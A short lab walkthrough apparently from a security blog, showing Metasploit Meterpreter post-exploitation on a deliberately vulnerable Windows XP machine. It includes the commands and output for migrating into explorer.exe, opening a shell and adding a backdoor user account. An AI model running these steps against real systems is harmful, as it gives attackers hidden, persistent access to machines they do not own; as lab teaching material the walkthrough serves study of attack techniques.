Metasploit Meterpreter: Creating a new user in an exploited Windows XP System

This follows on from a previous post within which a target machine was exploited and a Meterpreter shell obtained. Details of the exploited machine are:

Windows XP Pro Service Pack 2 (unpatched). Firewall and software updates switched off, Microsoft Internet Information Services (IIS) (server) and FTP service enabled, SQL Server 2005 Express configured, and a vulnerable web app up and running.

The first step is “migrate” to explorer.exe as was achieved in a previous post

meterpreter > migrate 2028

[*] Migrating from 3180 to 2028…
[*] Migration completed successfully.

Now to create a new user on the exploited Windows system:

meterpreter > shell
Process 3092 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Lab1>net user bob password123 /add

Result:

net user bob password123 /add
The command completed successfully.

And here’s a screenshot taken from the attacking machine:

And there is the new user “Bob” created entirely from the hacking machine.